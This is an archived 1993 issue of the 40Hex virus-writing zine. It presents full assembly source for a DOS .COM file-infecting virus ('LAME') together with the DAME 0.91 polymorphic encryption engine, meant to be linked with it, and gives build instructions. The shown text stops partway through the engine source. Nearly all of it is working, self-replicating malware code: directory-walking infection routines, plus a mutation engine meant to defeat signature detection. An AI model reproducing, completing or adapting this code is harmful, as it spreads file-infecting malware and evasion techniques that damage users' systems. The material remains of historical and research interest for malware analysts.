home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / 40hex-12.zip / 40HEX-12.001 < prev    next >
Text File  |  1993-12-04  |  79KB  |  1,921 lines

  1. 40Hex Number 12 Volume 3 Issue 3                                      File 001
  2.  
  3.         DAME, Revisited
  4.         By Dark Angel of Phalcon/Skism
  5.  
  6.         As many of you may have noticed, the DAME presented in the last
  7.         issue of 40Hex many moons ago had a few flaws, chief of which was
  8.         a problem with the prefetch queue.  Thanks to everyone who pointed
  9.         this out to me and jeers to Intel.  It was also a mite weak in the
  10.         code generated.  This version corrects several flaws present in the
  11.         original version.  See the source code for a more in-depth discussion
  12.         of the improvements.
  13.  
  14.         In this article, I present another lame virus to be linked with DAME.
  15.         The debug script is included at the end of the article and the source
  16.         code can be found following this short text.  Before attempting to
  17.         assemble the source code, note that it is broken up into two files:
  18.         LAME.ASM and DAME.ASM.  MAKE SURE YOU SEPARATE THEM FIRST!  Some
  19.         complained that the source code didn't assemble in the last issue;
  20.         that was simply because they didn't break up the files.
  21.  
  22.         DA
  23.  
  24. --Begin LAME.ASM---------------------------------------------------------------        .model  tiny
  25.         .code
  26.         .radix  16
  27.         org     100
  28.  
  29. start:  jmp     temp                    ; The next two lines will be patched in
  30. ;        cld                            ; DAME may have altered DF
  31. ;        mov     bx,ds
  32.         call    calc_off
  33.  
  34. old4    dw      20cdh, 0
  35. fmask   db      '*.com',0
  36. dmask   db      '..',0
  37.  
  38.         db  0dh,'This is a lame virus slapped together by DA/PS',0Dh,0A
  39.         db      'To demonstrate DAME 0.91',0Dh,0A,1a
  40.  
  41. vars    = 0
  42.         include dame.asm                ; include the code portion of DAME
  43.  
  44. calc_off:
  45.         pop     si
  46.         mov     ax,si
  47.         mov     cl,4
  48.         shr     ax,cl
  49.         sub     ax,10
  50.         add     ax,bx
  51.         mov     bx,offset enter_vir
  52.         push    ax bx
  53.         retf
  54.  
  55. enter_vir:
  56.         mov     di,100
  57.         push    es di es es
  58.         movsw
  59.         movsw
  60. enter_vir0:
  61.         push    cs cs
  62.         pop     es ds
  63.         mov     ah,1a
  64.         mov     dx,offset new_dta               ; set new DTA
  65.         int     21
  66.  
  67.         mov     ah,47
  68.         cwd
  69.         mov     si,offset old_path+1
  70.         mov     byte ptr [si-1],'\'
  71.         int     21
  72.  
  73.         mov     inf_cnt,4
  74.  
  75.         call    rnd_init_seed
  76. inf_dir:mov     ah,4e
  77.         mov     dx,offset fmask
  78. fnext:  int     21
  79.         jnc     inf_file
  80.  
  81.         mov     ah,3bh
  82.         mov     dx,offset dmask
  83.         int     21
  84.         jnc     inf_dir
  85. done_all:
  86.         mov     ah,3bh
  87.         mov     dx,offset old_path
  88.         int     21
  89.  
  90.         pop     es ds                           ; restore the DTA
  91.         mov     dx,80
  92.         mov     ah,1a
  93.         int     21
  94.  
  95.         retf                                    ; return to carrier
  96.  
  97. inf_file:
  98.         mov     ax,3d00
  99.         mov     dx,offset new_dta + 1e
  100.         int     21
  101.         jc      _fnext
  102.         xchg    ax,bx
  103.  
  104.         mov     ah,3f
  105.         mov     cx,4
  106.         mov     dx,offset old4
  107.         int     21
  108.  
  109.         mov     ah,3e
  110.         int     21
  111.  
  112.         cmp     old4,0e9fc
  113.         jz      _fnext
  114.         add     al,ah
  115.         cmp     al,'Z'+'M'
  116.         jz      _fnext
  117.         call    infect
  118.         dec     inf_cnt
  119.         jz      done_all
  120. _fnext:
  121.         mov     ah,4f
  122.         jmp     short fnext
  123.  
  124. infect: mov     ax,3d00
  125.         mov     dx,offset new_dta + 1e
  126.         int     21
  127.         push    ax
  128.         xchg    ax,bx
  129.  
  130.         mov     ax,1220
  131.         int     2f
  132.  
  133.         mov     ax,1216
  134.         mov     bl,es:di
  135.         mov     bh,0
  136.         int     2f
  137.  
  138.         pop     bx
  139.  
  140.         mov     word ptr es:[di+2],2
  141.  
  142.         mov     ax,es:[di+11]
  143.         mov     bp,ax
  144.         mov     cx,4
  145.         sub     ax,cx
  146.         mov     patch,ax
  147.  
  148.         mov     ah,40
  149.         mov     dx,offset oFCE9
  150.         int     21
  151.  
  152.         mov     word ptr es:[di+15],bp
  153.  
  154.         push    es di cs
  155.         pop     es
  156.  
  157.         mov     si,100
  158.         mov     di,offset copyvirus
  159.         mov     cx,(heap - start + 1)/2
  160.         rep     movsw
  161.  
  162.         mov     ax,0000000000001011b
  163.         mov     dx,offset copyvirus
  164.         mov     cx,heap - start
  165.         mov     si,offset _decryptbuffer
  166.         mov     di,offset _encryptbuffer
  167.         push    dx bx si
  168.         mov     bx,bp
  169.         inc     bh
  170.         call    dame
  171.  
  172.         mov     ah,40
  173.         pop     dx bx
  174.         int     21
  175.  
  176.         mov     ah,40
  177.         mov     cx,heap - start
  178.         pop     dx
  179.         int     21
  180.  
  181.         pop     di es
  182.         or      byte ptr es:[di+6],40
  183.  
  184.         mov     ah,3e
  185.         int     21
  186.  
  187.         retn
  188.  
  189. oFCE9   dw      0e9fc
  190. heap:
  191. patch   dw      ?
  192. inf_cnt db      ?
  193.  
  194. vars    = 1
  195.         include dame.asm        ; include the heap portion of DAME
  196.  
  197. old_path        db       41 dup (?)
  198. new_dta         db       2c dup (?)
  199. _encryptbuffer: db       80 dup (?)
  200. _decryptbuffer: db      1a0 dup (?)
  201. copyvirus       db      heap - start + 20 dup (?)
  202.  
  203. temp:   mov     byte ptr ds:[100],0fc
  204.         mov     word ptr ds:[101],0db8c
  205.         xor     di,di
  206.         push    cs di cs cs
  207.         jmp     enter_vir0
  208.  
  209.         end     start
  210. --End LAME.ASM--Begin DAME.ASM-------------------------------------------------
  211. comment #
  212.  
  213.                         Dark Angel's Multiple Encryptor
  214.                                  Version 0.91
  215.                         By Dark Angel of Phalcon/Skism
  216.  
  217.         This source may be freely distributed.  Modifications are
  218.         encouraged and modified redistribution is allowed provided
  219.         this notice and the revision history to date are not altered.
  220.         You are free to append to the revision history and update the
  221.         usage information.
  222.  
  223.  Welcome to the source code for Dark Angel's Multiple Encryptor.
  224.  I, Dark Angel, will be your host for this short excursion through
  225.  a pretty nifty encryptor.
  226.  
  227.  DAME 0.90 (1574 bytes)
  228.  ~~~~ ~~~~ ~~~~~~~~~~~~
  229.    Initial release.
  230.  
  231.  DAME 0.91 (1960 bytes)
  232.  ~~~~ ~~~~ ~~~~~~~~~~~~
  233.    Source code commented.
  234.  
  235.    The user no longer needs to call the encryption routine manually;
  236.    the routine calls it automatically.  This makes DAME a bit more
  237.    "user friendly."
  238.  
  239.    Garbling with two pointer registers simultaneously, i.e. [bx+di+offset]
  240.    is now supported.
  241.  
  242.    Added "double-reference" encryptions.  Example:
  243.         mov     ax,[bx+3212]
  244.         xor     ax,3213
  245.         mov     [bx+3212],ax
  246.  
  247.    There is now a bitflag option to generate a decryptor which will transfer
  248.    control to the buffer on a paragraph boundary.
  249.  
  250.    There is now a 1% chance that no encryption will be encoded when
  251.    the "do_encrypt1" routine is called.  Of course, null effect
  252.    encryptors may still be generated.
  253.  
  254.    garble_jmpcond is much more robust.  It can now put valid instructions
  255.    between the conditional jump and the target of the jump.  Therefore,
  256.    there is no longer a multitude of JZ $+2's and the like.  Instead, they
  257.    are replaced by JZ $+4, XOR BX,BX, for example.
  258.  
  259.    The register tracker is cleared after the loop is completed.  This makes
  260.    sense, since the registers are no longer needed.  This also allows for the
  261.    manipulation of those used registers in the garbling after the loop is
  262.    completed.
  263.  
  264.    Encoding routines enhanced: Two-byte PUSHes and POPs and four-byte register
  265.    MOVes added.  Memory PUSHes and POPs are now supported.
  266.  
  267.    The maximum nesting value is now the variable _maxnest, which can range
  268.    from 0 to MAXNEST.  _maxnest is determined randomly at runtime.  This makes
  269.    the decryption routines a bit more interesting.  _nest is also cleared more
  270.    times during the run so that variability is continuous throughout.
  271.  
  272.    Short decryptor option added.  This is automatically used when generating
  273.    the encryptor so the encryptor will always be of minimal length.
  274.  
  275.    More alignments are now possible.  This makes the initial values of the
  276.    registers more flexible.
  277.  
  278.    BUG FIXES:
  279.  
  280.    BP is now preserved on exit
  281.  
  282.    Prefetch queue flushed on backwards encryption; 386+ hangs eliminated.
  283.    See routine named "clear_PIQ"
  284.  
  285.    Loopnz routines had possibility of not working properly; instruction
  286.    eliminated.
  287.  
  288.    NOTES:
  289.  
  290.    I forgot to give credit to the person from whom I stole the random number
  291.    routines.  I took them from the routine embedded in TPE 1.x (I misremember
  292.    the version number).  Many thanks to Masud Khafir!
  293.  
  294.    USAGE:
  295.  
  296.    ON ENTRY:
  297.      ax = flags
  298.        bit 15 : Use two registers for pointer : 0 = no, 1 = yes
  299.        bit 14 : Align size : 0 = word, 1 = dword
  300.        bit 13 : Encryption direction : 0 = forwards, 1 = backwards
  301.        bit 12 : Counter direction : 0 = forwards, 1 = backwards
  302.        bit 11 : Counter register used : 0 = no, 1 = yes
  303.        bit 10 : Temporary storage for double reference
  304.        bit  9 : Unused
  305.        bit  8 : Unused
  306.        bit  7 : Unused
  307.        bit  6 : Unused
  308.        bit  5 : Unused
  309.        bit  4 : Unused
  310.        bit  3 : return control on paragraph boundary : 1 = yes, 0 = no
  311.        bit  2 : short decryptor : 1 = yes, 0 = no (implies no garbling)
  312.        bit  1 : garble : 1 = yes, 0 = no
  313.        bit  0 : SS = DS = CS : 1 = yes, 0 = no
  314.      bx = start decrypt in carrier file
  315.      cx = encrypt length
  316.      dx = start encrypt
  317.      si = buffer to put decryption routine
  318.      di = buffer to put encryption routine
  319.  
  320.      ds = cs on entry
  321.      es = cs on entry
  322.  
  323.    RETURNS:
  324.      cx = decryption routine length
  325.      DF cleared
  326.      all other registers are preserved.
  327.      The RADIX is set to 16d.
  328.  
  329.    NOTES:
  330.  
  331.    rnd_init_seed is _not_ called by DAME.  The user must explicitly call it.
  332.  
  333.    The buffer containing the routine to be encrypted should be 20 bytes
  334.    larger than the size of the routine.  This allows padding to work.
  335.  
  336.    The decryption routine buffer should be rather large to accomodate the
  337.    large decryptors which may be generated.
  338.  
  339.    The encryption routine buffer need not be very large; 80h bytes should
  340.    suffice.  90d bytes is probably enough, but this value is untested.
  341. #
  342.  
  343. .radix 10h
  344.  
  345. ifndef vars
  346.         vars = 2
  347. endif
  348.  
  349. if not vars eq 1        ; if (vars != 1)
  350.  
  351. _ax = 0
  352. _cx = 1
  353. _dx = 2
  354. _bx = 3
  355. _sp = 4
  356. _bp = 5
  357. _si = 6
  358. _di = 7
  359.  
  360. _es = 8
  361. _cs = 9
  362. _ss = 0a
  363. _ds = 0bh
  364.  
  365. ; The constant MAXNEST determines the maximum possible level of nesting
  366. ; possible in any generated routine.  If the value is too large, then
  367. ; recursion problems will cause a stack overflow and the program will
  368. ; crash.  So don't be too greedy.  0Ah is a safe value to use for non-
  369. ; resident viruses.  Use smaller values for resident viruses.
  370. ifndef MAXNEST          ; User may define MAXNEST prior to including
  371.         MAXNEST = 0a    ; the DAME source code. The user's value will
  372. endif                   ; then take precedence
  373.  
  374. rnd_init_seed:
  375.         push    dx cx bx
  376.         mov     ah,2C                   ; get time
  377.         int     21
  378.  
  379.         in      al,40                   ; port 40h, 8253 timer 0 clock
  380.         mov     ah,al
  381.         in      al,40                   ; port 40h, 8253 timer 0 clock
  382.         xor     ax,cx
  383.         xor     dx,ax
  384.         jmp     short rnd_get_loop_done
  385. get_rand:
  386.         push    dx cx bx
  387.         in      al,40                   ; get from timer 0 clock
  388.         db      5 ; add ax, xxxx
  389. rnd_get_patch1  dw      0
  390.                 db      0BA  ; mov dx, xxxx
  391. rnd_get_patch2  dw      0
  392.         mov     cx,7
  393.  
  394. rnd_get_loop:
  395.         shl     ax,1
  396.         rcl     dx,1
  397.         mov     bl,al
  398.         xor     bl,dh
  399.         jns     rnd_get_loop_loc
  400.         inc     al
  401. rnd_get_loop_loc:
  402.         loop    rnd_get_loop
  403.  
  404. rnd_get_loop_done:
  405.         mov     rnd_get_patch1,ax
  406.         mov     rnd_get_patch2,dx
  407.         mov     al,dl
  408.         pop     bx cx dx
  409.         retn
  410.  
  411. reg_table1:
  412.               ; reg1 reg2 mod/00/rm   This is used to handle memory addressing
  413.         db       _bx, 84, 10000111b ; of the form [reg1+reg2+xxxx]
  414.         db       _bp, 84, 10000110b ; if (reg2 == 84)
  415.         db       _di, 84, 10000101b ;    reg2 = NULL;
  416.         db       _si, 84, 10000100b
  417.  
  418.         db      _bp, _di, 10000011b
  419.         db      _bp, _si, 10000010b
  420.         db      _bx, _di, 10000001b
  421.         db      _bx, _si, 10000000b
  422.         db      _di, _bp, 10000011b
  423.         db      _si, _bp, 10000010b
  424.         db      _di, _bx, 10000001b
  425.         db      _si, _bx, 10000000b
  426.  
  427. aligntable      db      3,7,0bh,0f,13,17,1bh,1f ; possible alignment masks
  428.  
  429. redo_dame:
  430.         pop     di bp si dx cx bx ax
  431. dame:   ; Dark Angel's Multiple Encryptor
  432.         cld
  433.         push    ax bx cx dx si bp di
  434.         call    _dame
  435.         pop     di
  436.         push    cx di
  437.         call    di
  438.         pop     di cx bp si dx bx bx ax
  439.         ret
  440.  
  441. _dame:  ; set up initial values of the variables
  442.         cld
  443.         push    ax
  444.  
  445.         mov     ax,offset _encryptpointer
  446.         xchg    ax,di                           ; save the pointer to the
  447.         stosw                                   ; encryption routine buffer
  448.         xchg    si,ax                           ; also save the pointer to
  449.         stosw                                   ; the decryption routine
  450.                                                 ; buffer in the same manner
  451.         stosw
  452.  
  453.         xchg    ax,dx                           ; starting offset of
  454.         stosw                                   ; encryption
  455.         xchg    ax,bx                           ; starting offset of
  456.         stosw                                   ; decryption routine
  457.  
  458.         xchg    cx,dx                           ; dx = encrypt size
  459.  
  460.         xor     ax,ax
  461.         mov     cx,(endclear1 - beginclear1) / 2; clear additional data
  462.         rep     stosw                           ; area
  463.  
  464.         call    get_rand                        ; get a random number
  465.         and     ax,not 0f                       ; clear user-defined bits
  466.  
  467.         pop     cx                              ; cx = bitmask
  468.         xor     cx,ax                           ; randomize top bits
  469.  
  470.         call    get_rand_bx                     ; get a random number
  471.         and     bx,7                            ; and lookup in the table
  472.         mov     al,byte ptr [bx+aligntable]     ; for a random rounding size
  473.         cbw
  474.         add     dx,ax                           ; round the encryption
  475.         not     ax                              ; size to next word, dword,
  476.         and     dx,ax                           ; etc.
  477.  
  478.         mov     ax,dx                           ; save the new encryption
  479.         stosw                                   ; length (_encrypt_length)
  480.  
  481.         shr     ax,1                            ; convert to words
  482.         test    ch,40                           ; encrypting double wordly?
  483.         jz      word_encryption                 ; nope, only wordly encryption
  484.         shr     ax,1                            ; convert to double words
  485. word_encryption:                                ; all the worldly encryption
  486.         test    ch,10                           ; shall do thee no good, my
  487.         jnz     counter_backwards               ; child, lest you repent for
  488.         neg     ax                              ; the sins of those who would
  489. counter_backwards:                              ; bring harm unto others
  490.         stosw                                   ; save _counter_value
  491.         push    dx                              ; Save rounded length
  492.  
  493.         call    get_rand                        ; get a random value for the
  494.         stosw                                   ; encryption value
  495.                                                 ; (_decrypt_value)
  496.         pop     ax                              ; get rounded encryption length
  497.                                                 ; in bytes
  498.         test    ch,20                           ; is the encryption to run
  499.         jnz     encrypt_forwards                ; forwards or backwards?
  500.         neg     ax                              ; Adjust for forwards
  501. encrypt_forwards:
  502.         xor     bx,bx                           ; Assume pointer_value2 = 0
  503.  
  504.         test    ch,80                           ; Dual pointer registers?
  505.         jz      no_dual
  506.         call    get_rand_bx
  507.         sub     ax,bx
  508. no_dual:stosw                                   ; Save the pointers to the
  509.         xchg    ax,bx                           ; decryption (_pointer_value1
  510.         stosw                                   ; and _pointer_value2)
  511.  
  512. ; The following lines determine the registers that go with each function.
  513. ; There are a maximum of four variable registers in each generated
  514. ; encryption/decryption routine pair -- the counter, two pointer registers,
  515. ; and an encryption value register.  Only one pointer register need be present
  516. ; in the pair; the other three registers are present only if they are needed.
  517.  
  518. s0:     call    clear_used_regs                 
  519.         mov     di,offset _counter_reg
  520.         mov     al,84                           ; Assume no counter register
  521.         test    ch,8                            ; Using a counter register?
  522.         jz      s1
  523.         call    get_rand                        ; get a random initial value
  524.         mov     _pointer_value1,ax              ; for the pointer register
  525.         call    get_another                     ; get a counter register
  526. s1:     stosb                                   ; Store the counter register
  527.  
  528.         xchg    ax,dx
  529.  
  530.         mov     al,84                           ; Assume no encryption register
  531.         call    one_in_two                      ; 50% change of having an
  532.         js      s2                              ; encryption register
  533.                                                 ; Note: This merely serves as
  534.                                                 ; an extra register and may or
  535.                                                 ; may not be used as the
  536.                                                 ; encryption register.
  537.         call    get_another                     ; get a register to serve as
  538. s2:     stosb                                   ; the encryption register
  539.  
  540.         cmp     ax,dx                           ; normalise counter/encryption
  541.         ja      s3                              ; register pair so that the
  542.         xchg    ax,dx                           ; smaller one is always in the  
  543. s3:     mov     ah,dl                           ; high byte
  544.         cmp     ax,305                          ; both BX and BP used?
  545.         jz      s0                              ; then try again
  546.         cmp     ax,607                          ; both SI and DI used?
  547.         jz      s0                              ; try once more
  548.  
  549. s4:     mov     si,offset reg_table1            ; Use the table
  550.         mov     ax,3                            ; Assume one pointer register
  551.         test    ch,80                           ; Using two registers?
  552.         jz      use_one_pointer_reg
  553.         add     si,4*3                          ; Go to two register table
  554.         add     al,4                            ; Then use appropriate mask
  555. use_one_pointer_reg:
  556.         call    get_rand_bx                     ; Get a random value
  557.         and     bx,ax                           ; Apply mask to it
  558.         add     si,bx                           ; Adjust table offset
  559.         add     bx,bx                           ; Double the mask
  560.         add     si,bx                           ; Now table offset is right
  561.         lodsw                                   ; Get the random register pair
  562.         mov     bx,ax                           ; Check if the register in the
  563.         and     bx,7                            ; low byte is already used
  564.         cmp     byte ptr [bx+_used_regs],0
  565.         jnz     s4                              ; If so, try again
  566.         mov     bl,ah                           ; Otherwise, check if there is
  567.         or      bl,bl                           ; a register in the high byte
  568.         js      s5                              ; If not, we are done
  569.         cmp     byte ptr [bx+_used_regs],0      ; Otherwise, check if it is
  570.         jnz     s4                              ; already used
  571. s5:     stosw                                   ; Store _pointer_reg1, 
  572.         movsb                                   ; _pointer_reg2, and 
  573.                                                 ; _pointer_rm
  574. calculate_maxnest:
  575.         call    get_rand                        ; Random value for _maxnest
  576.         and     al,0f                           ; from 0 to MAXNEST
  577.         cmp     al,MAXNEST                      ; Is it too large?
  578.         ja      calculate_maxnest               ; If so, try again
  579.         stosb                                   ; Otherwise, we have _maxnest
  580.  
  581.         call    clear_used_regs                 ; mark no registers used
  582. encode_setup:                                   ; encode setup portion
  583.         mov     di,_decryptpointer              ; (pre-loop) of the routines
  584.         call    twogarble                       ; start by doing some garbling
  585.                                                 ; on the decryption routine
  586.         mov     si,offset _counter_reg          ; now move the initial
  587.         push    si                              ; values into each variable
  588. encode_setup_get_another:                       ; register -- encode them in a
  589.         call    get_rand_bx                     ; random order for further
  590.                                                 ; variability
  591.         and     bx,3                            ; get a random register to en-
  592.         mov     al,[si+bx]                      ; code, i.e. counter, pointer,
  593.         cbw                                     ; or encryption value register
  594.         test    al,80                           ; is it already encoded?
  595.         jnz     encode_setup_get_another        ; then get another register
  596.  
  597.         or      byte ptr [bx+_counter_reg],80   ; mark it encoded in both the
  598.         mov     si,ax                           ; local and
  599.         inc     byte ptr [si+_used_regs]        ; master areas
  600.  
  601.         add     bx,bx                           ; convert to word offset
  602.         mov     dx,word ptr [bx+_counter_value] ; find value to set the
  603.                                                 ; register to
  604.         mov     _nest,0                         ; clear the current nest count
  605.         call    mov_reg_xxxx                    ; and encode decryption routine
  606.                                                 ; instruction
  607.         call    twogarble                       ; garble it some more
  608.         call    swap_decrypt_encrypt            ; now work on the encryption
  609.                                                 ; routine
  610.         push    cx                              ; save the current bitmap
  611.         and     cl,not 7                        ; encode short routines only
  612.         call    _mov_reg_xxxx                   ; encode the encryption routine
  613.                                                 ; instruction
  614.         pop     cx                              ; restore bitmap
  615.  
  616.         mov     _encryptpointer,di              ; return attention to the
  617.                                                 ; decryption routine
  618.         pop     si
  619.         mov     dx,4
  620. encode_setup_check_if_done:                     ; check if all the variables
  621.                                                 ; have been encoded
  622.         lodsb                                   ; get the variable
  623.         test    al,80                           ; is it encoded?
  624.         jz      encode_setup                    ; nope, so continue encoding
  625.         dec     dx                              ; else check the next variable
  626.         jnz     encode_setup_check_if_done      ; loop upwards
  627.  
  628.         mov     si,offset _encryptpointer       ; Save the addresses of the 
  629.         mov     di,offset _loopstartencrypt     ; beginning of the loop in
  630.         movsw                                   ; the encryption and decryption
  631.         movsw                                   ; routines
  632.  
  633. ; Encode the encryption/decryption part of loop
  634.         mov     _relocate_amt,0                 ; reset relocation amount
  635.         call    do_encrypt1                     ; encode encryption
  636.  
  637.         test    ch,40                           ; dword encryption?
  638.         jz      dont_encrypt2                   ; nope, skip
  639.  
  640.         mov     _relocate_amt,2                 ; handle next word to encrypt
  641.         call    do_encrypt1                     ; and encrypt!
  642. dont_encrypt2:
  643. ; Now we are finished encoding the decryption part of the loop.  All that
  644. ; remains is to encode the loop instruction, garble some more, and patch
  645. ; the memory manipulation instructions so they encrypt/decrypt the proper
  646. ; memory locations.
  647.         mov     bx,offset _loopstartencrypt     ; first work on the encryption
  648.         push    cx                              ; save the bitmap
  649.         and     cl,not 7                        ; disable garbling/big routines
  650.         call    encodejmp                       ; encode the jmp instruction
  651.         pop     cx                              ; restore the bitmap
  652.  
  653.         mov     ax,0c3fc ; cld, ret             ; encode return instruction
  654.         stosw                                   ; in the encryption routine
  655.  
  656.         mov     si,offset _encrypt_relocator    ; now fix the memory
  657.         mov     di,_start_encrypt               ; manipulation instructions
  658.  
  659.         push    cx                              ; cx is not auto-preserved
  660.         call    relocate                        ; fix address references
  661.         pop     cx                              ; restore cx
  662.  
  663.         mov     bx,offset _loopstartdecrypt     ; Now work on decryption
  664.         call    encodejmp                       ; Encode the jmp instruction
  665.         push    di                              ; Save the current pointer
  666.         call    clear_used_regs                 ; Mark all registers unused
  667.         pop     di                              ; Restore the pointer
  668.         call    twogarble                       ; Garble some more
  669.         test    cl,8                            ; Paragraph alignment on
  670.         jnz     align_paragraph                 ; entry to virus?
  671.         test    ch,20                           ; If it is a backwards
  672.         jz      no_clear_prefetch               ; decryption, then flush the
  673.         call    clear_PIQ                       ; prefetch queue (for 386+)
  674. no_clear_prefetch:                              ; Curse the PIQ!!!!!
  675.         call    twogarble                       ; Garble: the final chapter
  676.         jmp     short PIQ_done
  677. align_paragraph:
  678.         mov     dx,di                           ; Get current pointer location
  679.         sub     dx,_decryptpointer2             ; Calculate offset when control
  680.         add     dx,_start_decrypt               ; is transfered to the carrier
  681.         inc     dx                              ; Adjust for the JMP SHORT
  682.         inc     dx
  683.         neg     dx
  684.         and     dx,0f                           ; Align on the next paragraph
  685.         cmp     dl,10-2                         ; Do we need to JMP?
  686.         jnz     $+7                             ; Yes, do it now
  687.         test    ch,20                           ; Otherwise, check if we need
  688.         jz      PIQ_done                        ; to clear the prefetch anyway
  689.         call    clear_PIQ_jmp_short             ; Encode the JMP SHORT
  690. PIQ_done:
  691.         mov     _decryptpointer,di
  692.  
  693.         mov     si,offset _decrypt_relocator    ; Calculate relocation amount
  694.         sub     di,_decryptpointer2
  695.         add     di,_start_decrypt
  696. relocate:
  697.         test    ch,20                           ; Encrypting forwards or
  698.         jz      do_encrypt_backwards            ; backwards?
  699.         add     di,_encrypt_length              ; Backwards is /<0oI_
  700. do_encrypt_backwards:                           ; uh huh uh huh uh huh
  701.         sub     di,_pointer_value1              ; Calculate relocation amount
  702.         sub     di,_pointer_value2
  703.         mov     cx,word ptr [si-2]              ; Get relocation count
  704.         jcxz    exit_relocate                   ; Exit if nothing to do
  705.         xchg    ax,di                           ; Otherwise we be in business
  706. relocate_loop:                                  ; Here we go, yo
  707.         xchg    ax,di
  708.         lodsw                                   ; Get address to relocate
  709.         xchg    ax,di
  710.         add     [di],ax                         ; Relocate mah arse!
  711.         loop    relocate_loop                   ; Do it again 7 times
  712. exit_relocate:                                  ; ('cause that makes 8)
  713.         mov     di,_decryptpointer              ; Calculate the decryption
  714.         mov     cx,di                           ; routine size to pass
  715.         sub     cx,_decryptpointer2             ; back to the caller
  716.         ret
  717.  
  718. encodejmp:
  719.         mov     di,word ptr [bx+_encryptpointer-_loopstartencrypt]
  720.  
  721.         push    bx
  722.         mov     _nest,0                         ; Reset nest count
  723.         mov     al,_pointer_reg1                ; Get the pointer register
  724.         and     ax,7                            ; Mask out any modifications
  725.         mov     dx,2                            ; Assume word encryption
  726.         test    ch,40                           ; Word or Dword?
  727.         jz      update_pointer1
  728.         shl     dx,1                            ; Adjust for Dword encryption
  729. update_pointer1:
  730.         test    ch,20                           ; Forwards or backwards?
  731.         jz      update_pointer2
  732.         neg     dx                              ; Adjust for backwards
  733. update_pointer2:
  734.         test    ch,80                           ; Are there two pointers?
  735.         jz      update_pointer_now              ; Continue only if so
  736.  
  737.         sar     dx,1                            ; Halve the add value
  738.         push    ax                              ; Save register to add
  739.         call    add_reg_xxxx                    ; Add to first register
  740.         mov     al,_pointer_reg2
  741.         and     ax,7                            ; Add to the second pointer
  742.         call    add_reg_xxxx                    ; register
  743.         pop     bx
  744.         test    ch,8                            ; Using a counter register?
  745.         jnz     update_pointer_done             ; If not, continue this
  746.  
  747.         push    bx                              ; Save first register
  748.         xchg    ax,dx                           ; Move second register to DX
  749.         call    get_another                     ; Get new register regX
  750.         call    mov_reg_reg                     ; MOV regX, _pointer_reg2
  751.         pop     dx                              ; Restore first register
  752.         call    add_reg_reg                     ; ADD regX, _pointer_reg1
  753.         call    clear_reg                       ; Clear the temp register
  754.         jmp     short update_pointer_done       ; Skip adjustment of pointer
  755.                                                 ; register (already done)
  756. update_pointer_now:
  757.         call    add_reg_xxxx                    ; Adjust pointer register
  758. update_pointer_done:
  759.         mov     dl,75                           ; Assume JNZ
  760.  
  761.         mov     al,_counter_reg                 ; Is there a counter register?
  762.         and     ax,7
  763.         cmp     al,_sp
  764.         jz      do_jnz
  765.  
  766.         push    dx                              ; Save JNZ
  767.         mov     dx,1                            ; Assume adjustment of one
  768.  
  769.         test    ch,10                           ; Check counter direction
  770.         jz      go_counter_forwards             ; If forwards, increment the
  771.                                                 ; counter
  772.         cmp     al,_cx                          ; Check if the counter is CX
  773.         jnz     regular                         ; If not, then decrement the
  774.                                                 ; counter and continue
  775.         call    one_in_two                      ; Otherwise, there is a 50%
  776.         js      regular                         ; chance of using a LOOP
  777.  
  778.         pop     dx
  779.         mov     dl,0e2                          ; let us encode the LOOP
  780.         jmp     short do_jnz
  781.  
  782. regular:neg     dx
  783. go_counter_forwards:
  784.         call    add_reg_xxxx                    ; Adjust counter register
  785.         pop     dx
  786. do_jnz: pop     bx
  787.         mov     ax,[bx]                         ; Calculate value to JNZ/LOOP
  788.         sub     ax,di                           ; back
  789.         dec     ax
  790.         dec     ax
  791.         xchg    ah,al                           ; Value is in AL
  792.         mov     al,dl   ; jnz
  793.  
  794.         or      ah,ah                           ; Value >= 128?  If so, it is
  795.         js      jmplocation_okay                ; impossible to JNZ/LOOP there
  796.                                                 ; due to stupid 8086 limitation
  797.         pop     ax ax                           ; Take return locations off
  798.         jmp     redo_dame                       ; the stack and encode again
  799. jmplocation_okay:
  800.         stosw                                   ; Encode JNZ/LOOP instruction
  801.         mov     word ptr [bx+_encryptpointer-_loopstartencrypt],di
  802.         ret                                     ; Save current location
  803.  
  804. encryption:
  805. ; This routine encodes the instruction which actually manipulates the memory
  806. ; location pointed to by the pointer register.
  807.         and     ch,not 4                        ; Default = no double reference
  808.         call    one_in_two                      ; But there is a 50% chance of
  809.         js      not_double_reference            ; using a double reference
  810.         or      ch,4                            ; Yes, we are indeed using it
  811. not_double_reference:
  812.         mov     di,_decryptpointer              ; Set the registers to work
  813.         mov     bp,offset _decrypt_relocate_num ; with the decryption routine
  814.         call    twogarble                       ; Insert some null instructions
  815.  
  816.         xor     ax,ax                           ; Get the value for the rm
  817.         mov     al,_pointer_rm                  ; field corresponding to the
  818.                                                 ; pointer register/s used
  819.         call    choose_routine                  ; Get random decryption type
  820.         call    go_next                         ; to DX, BX, SI
  821.         push    si dx si dx                     ; Save crypt value/register
  822.                                                 ; and crypt pointer
  823. ;;        mov     _nest,0 ; not needed - choose_routine does it
  824.         test    ch,4
  825.         jz      not_double_reference1           ; Double reference?
  826.  
  827.         xchg    ax,dx                           ; Pointer register/s to dx
  828.         call    get_another                     ; Unused register to AX (reg1)
  829.         call    mov_reg_reg                     ; MOV reg1,[pointer]
  830.         mov     _kludge,dx                      ; Store the pointer register
  831. not_double_reference1:
  832.         pop     dx si                           ; Restore decryption pointer
  833.         call    handle_jmp_table                ; Encode decryption routine
  834.         push    bx                              ; Save routine that was used
  835.         call    twogarble                       ; Garble some more for fun
  836.  
  837.         test    ch,4
  838.         jz      not_double_reference2           ; Double reference?
  839.  
  840.         xchg    ax,dx                           ; reg1 to dx
  841.         mov     ax,_kludge                      ; Restore pointer
  842.         push    ax                              ; Save pointer
  843.         call    mov_reg_reg                     ; MOV [pointer],reg1
  844.         call    clear_reg_dx                    ; Return reg1 to free pool
  845.         pop     ax                              ; Restore pointer
  846. not_double_reference2:
  847.         mov     bp,offset _encrypt_relocate_num ; Set the registers to work
  848.         call    swap_decrypt_encrypt            ; with the encryption routine
  849.  
  850.         pop     bx dx si                        ; Restore crypt value/register
  851.         call    go_next                         ; Convert to encryption table
  852.         jmp     short finish_encryption         ; and encode the encryption
  853.                                                 ; corresponding to the
  854.                                                 ; decryption
  855. do_encrypt1:                                    ; Perform encryption on a word
  856.         call    playencrypt                     ; Alter encryption value
  857.         call    get_rand                        ; Have a tiny chance
  858.         cmp     ax,6                            ; (1% chance) of not
  859.         jb      playencrypt                     ; encrypting at all
  860.         call    encryption                      ; Encrypt!
